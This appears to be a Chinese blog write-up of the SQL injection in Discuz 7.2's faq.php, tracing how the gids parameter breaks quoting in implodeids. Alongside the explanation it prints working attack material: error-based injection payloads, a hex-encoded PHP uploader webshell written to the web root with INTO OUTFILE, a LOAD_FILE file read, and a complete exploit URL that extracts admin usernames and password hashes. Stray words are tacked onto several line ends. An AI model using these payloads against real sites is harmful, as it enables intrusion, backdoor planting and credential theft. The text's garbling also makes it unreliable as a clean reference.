該漏洞影響discuz 7.2,discuz 7.2能夠從http://www.comsenz.com/downloads/install/discuz下載php
漏洞存在於discuz根目錄的faq.php文件,當程序使用$_GET,$_POST, $_COOKIES傳入參數,faq.php,包含的./include/common.inc.php文件中會對這幾個對象作處理,使得對象中的每個鍵值對變成PHP的變量,具體代碼以下所示。同時這一處的代碼將全部的值進行了addslashes的處理使得每一處的單引號轉義,變成一個位於PHP語言中的字符單引號,該代碼位於文件的43行處。web
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value); } }
同時在faq.php的143行開始進行一種查詢,在188行的位置代碼以下所示。sql
ksort($gids); $groupids = array(); foreach($gids as $row) { $groupids[] = $row[0]; }
此處對$gids作了處理,取出$gids的全部values值並取values值的下標爲0的位置,若是value值爲「'」則通過addslash的轉換變成了「\'」,取下標爲0的內容以後變成了「\」,若是value值爲array("1234", "12345")則value取值爲「1234」,並把渠道的全部values值的下標爲0的值組成一個數組$groupids[]。數組
此時代碼執行到以下位置函數
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
此處將$groupids[]組成起來,組合方式見以下函數,該函數位於global.func.php文件中學習
function implodeids($array) { if(!empty($array)) { return "'".implode("','", is_array($array) ? $array : array($array))."'"; } else { return ''; } }
能夠看出該函數將傳入的$groupids[]組合成爲'a1','a2','a3','a4'的形式,即便用「','」進行鏈接數組各個元素,使用「'」閉合先後。結合前文描述,若是數組中的元素包含「\」則$groupids[]將被組合成爲‘a1','\','a3','a4',此時黃色的位置將會被組合成爲一個新的字符串,若是a3包含sql語句,則能夠早閉合SQL語句形成注入。本案中SQL語句爲spa
SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('a1','a2','a3')
此時若是a2爲「\」a3賦值稱爲「) and 1=1#」SQL語句會變成3d
SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('a1','\',') and 1=1#')
繼而順利閉合了前面的括號,形成了注入,在這裏可使用報錯注入進行數據查詢,例如使用code
(extractvalue(1,concat(0x7e,(select user()),0x7e)))
將1=1進行替換。能夠進行數據查詢操做。orm
報錯注入以後可使用以下代碼進行提權操做,即想辦法向web目錄傳送木馬文件
into outfile "C://1.txt" line LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c496e65747075625c5c777777726f6f745c5c44697363757a5f372e325f53435f555446385c5c75706c6f61645c5c6661712e7068705c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a(木馬內容)--
此處閉合了select from where的查詢,加入了into oufile,使得總體SQL語句變成了select from where into oufile,即變成了select 內容 into outfile的語句,同時使用LINES TERMINATED BY將select的內容進行按行的分割,原本此處經常使用的是「\n」,這裏換成了木馬內容,因此將導出一個有木馬內容的PHP文件。總體的SQL語句結構變成了「select from where into outfile lines terminated by 木馬內容」。
同時可使用load_file進行讀取文件的操做,使用的方式是基於報錯的讀取方式,注入SQL代碼以下所示。
(SELECT 9526 FROM(SELECT COUNT(*),CONCAT(0x71767a7a71,(MID((IFNULL(CAST(HEX(LOAD_FILE('c://s3c/1.txt')) AS CHAR),0x20)),90,150)),0x7170767871,FLOOR(RAND(0)*2))X FROM INFORMATION_SCHEMA.PLUGINS GROUP BY X)a)
exp:
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x20,password)%20from%20cdb_members%20limit%200,1)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
SQL注入的插入位置和深刻的方式有不少,須要對SQL語句的嵌套查詢方式進一步學習以瞭解嵌套查詢的輸入內容和位置。